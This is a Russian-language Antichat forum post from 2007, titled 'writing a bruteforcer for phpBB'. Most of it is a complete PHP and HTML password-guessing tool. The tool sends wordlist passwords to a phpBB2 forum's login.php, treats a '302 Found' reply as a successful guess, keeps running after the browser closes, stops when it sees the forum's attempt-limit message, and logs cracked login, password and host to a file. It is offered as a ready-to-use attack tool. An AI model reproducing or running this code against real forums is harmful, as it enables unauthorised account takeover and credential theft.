Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Пишем брутофорс для phpBB |

28.02.2007, 11:58
|
|
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
Провел на форуме: 19975136
Репутация:
4536
|
|
Пишем брутофорс для phpBB
В phpBB2 есть возможность брута с минимум трафика, т.к в случае удачной аунтификации сервер посылает нам не стандартый 200-тый
ответ, что запрос обработан и успешно выполнен, а строку с кодом 302. Благодоря этому нам не нужно брать всю страницу, чтобы узнать завершился ли успешно наш перебор, а достаточно первой строки ответа
Создадим сначала интерфейс нашего брута.
Код HTML:
<html><head>
<title>Брутофорс для phpBB2 от Green Bear (http://netsec.ru && http://antichat.ru)</title>
<style type="text/css">
body{background-color: #323232;margin: 20px;}
.div{border-style: ridge;border-color: yellowgreen;border-width: 1px;background-color: #444;padding: 5px;color: whitesmoke;font-family: Verdana, Tahoma;font-size: 11px;}
input, select{border: none;background-color: #000;color: yellowgreen;}
h1{margin-top: 3;}
a{color: white;text-decoration: none;}
</style>
</head><body><div align="center"><div style="width:500px" class="div">
<h1><a href="" style="text-decoration: none;">Брутофорс phpBB2</a></h1>
<form method="post" enctype="multipart/form-data">
Адрес: <input type="text" name="host" /> / <input type="text" name="path" size="10"/>
Имя: <input type="text" name="login" />
<input type="checkbox" name="w" value="w" title="Ждать 4 секунды перед новый попыткой?" /><br /><br />
Из файла: <input type="radio" OnClick="file.style.display=''; load.style.display='none';" name="l" />
Загрузить: <input type="radio" OnClick="load.style.display=''; file.style.display='none';" name="l" checked />
<input type="file" name="pass" id="load" style="border:none" />
<input type="text" name="file" id="file" value="./" style="display:none" />
<br /><br />Язык форума: <select name="lang"><option value="ru">Русский</option><option value="en">Буржуйский</option></select> <input type="submit" value="Начать подбор" name="start" onClick="hide.style.display=''" /></form>
Сам код. Я постарался подробно все закоментировать, чтобы не было проблем у плохознающих пхп.
PHP код:
<?php
error_reporting(E_ALL ^ E_NOTICE);
//Если вы закроете браузер, то брут продолжется.
ignore_user_abort(1);
//Если не удалось сменить имя, то остановим скрипт, т.к дальше продолжать бессмысленно.
if( !set_time_limit(0)) die('Не удалось сменить лимит времени исполнения скрипта');
if($_POST['start']){
//Если выбраны пароли из файла, то проверим его на существование.
if($_POST['file']){
if(! file_exists($_POST['file']) ) die("<script>alert('Такого файла на сервере нет.');</script>");
$passwords = file($_POST['file']);
}else{
//Если файл загружаем, то в случае неудачной загрузки сообщим.
if (is_uploaded_file($_FILES['pass']['tmp_name'])) $passwords = file($_FILES['pass']['tmp_name']);
else die("<script>alert('Ошибка при загрузке файла');</script>");
}
//Проверим на существования необходимые переменные
$_POST['login'] ? $login = $_POST['login'] : die("<script>alert('Не задан логин');</script>");
$_POST['host'] ? $host = $_POST['host'] : die("<script>alert('Не задан хост');</script>");
$_POST['path'] ? $path = '/'.$_POST['path'].'/' : $path = '/';
$_POST['w'] ? $w = true : $w = false;
$str = ''; $b = 0;
//Язык нужен для того, чтобы прекратить брут, если на форуме стоит ограничение на кол-во попыток.
//Далее после 5 попытки идет поиск этой фразы на странице, если он найдена - брут останавливается.
switch($_POST['lang']){
case ru: $anti = 'Максимальное количество попыток'; break;
case en: $anti = 'not allowed to login'; break;
}
//Идем в цикл равный кол-ву срок в файле с паролями.
for($i=0;$i<count($passwords);$i++){
$w ? sleep(4) : '';
$pass = trim($passwords[$i]);
//Подключимся и проверим на доступность форум...
$fp = fsockopen ($host, 80, $errno, $errstr, 7);
//Если хост не найден, то выйдем из скрипта.
if (!$fp) die("<script>alert('Не могу найти такой форум');</script>");
//Наш пост запрос..
$r = "POST ".$path."login.php HTTP/1.1
Host: $host
Content-Type: application/x-www-form-urlencoded
Content-Length: ".strlen("username=".$login."&password=".$pass."&login=Log+in")."
username=".$login."&password=".$pass."&login=Log+in";
fputs ($fp, $r);
//Теперь посмотрим...
//Если попытка не 5, то перем только первую строку.
if($b != 5) $str = fgets($fp, 128);
//Если он 5, то скачиваем всю страницу для поиска в ней ключевой фразы
//И в случае ее успешного поиска останавлиаем скрипт.
else{
while(!feof($fp)){
$str .= fgets($fp, 128);
}
if(eregi($anti, $str)){
die('Не могу продолжить дальнейший подбор паролей, т.к исчерпаны все попытки входа <br />');
}
}
//Теперь смотрим на ответ сервера...
//
if( eregi('302 Found', $str) ){
//запишем все в файл password
$p = fopen('password', 'a');
fwrite($p, "Логин: ".$login."\nПароль :".$pass."\nАдрес : ".$host."\n\n--------------\n\n");
fclose($p);
$find = true;
break;
}
$str = '';
fclose ($fp);
$b++;
}
if( $find ) echo '<script> hide.style.display=\'none\'></script>Пароль: <b>'. $pass.'</b><br /><br />';
else echo '<script> hide.style.display=\'none\'></script><i>Не удалось найти пароль</i><br /><br />';
}
?>
Код HTML:
<div style="display:none" id="hide"><img src="http://gb.netsec.ru/process.gif" /><br /></div>
© <a href="http://gb.netsec.ru/">Green Bear</a></div> </div></body></html>
Статус 302 Found означает, что запрашиваемый ресурс находится по другому адресу.
Вот в общем-то и все, как видим ничего сложного нету.
Полезные ссылки:
Протокол HTTP
php.net
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|